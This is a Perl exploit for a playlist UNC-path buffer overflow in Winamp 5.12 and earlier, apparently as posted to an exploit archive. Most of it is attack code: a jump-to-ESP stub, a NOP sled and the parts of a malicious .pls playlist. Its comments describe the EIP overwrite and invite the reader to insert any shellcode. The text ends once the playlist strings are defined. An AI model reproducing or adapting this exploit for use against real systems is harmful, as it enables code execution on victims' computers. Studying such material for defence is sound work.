Vulnerable Systems:
* Winamp versions 5.12 and prior
Exploit:
#!/usr/bin/perl -w
# ==================================
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
# By Umesh Wanve (umesh_345@yahoo.com)
# ===================================
# Credits : ATmaCA is credited with the discovery of this vulnerability.
#
# Date : 07-03-2007
#
# Tested on Windows 2000 SP4 Server English
# Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
#
# Buffer = "\x90 x 1023" + EIP
#
# Desc: you cant put shellcode after EIP. No more space after this. The winamp simply crashes. When you debug it, you will see that
# shellcode is 304 bytes away from ESP. So jump to esp + 304 should work. Find such address if u can.
#
#
# This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage.
#
#
#=================================
#jump to shellcode
$jmp="\x61\xD9\x02\x02".
"\x83\xEC\x34".
"\x83\xEC\x70".
"\xFF\xE4";
#\x83\xEC\x34 add esp ,34
#\xFF\xE4 jump esp
$nop="\x90" x 856;
$start= "[playlist]\r\nFile1=\\\\";
$end="\r\nTitle1=Winamp Exploit by Umesh\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";
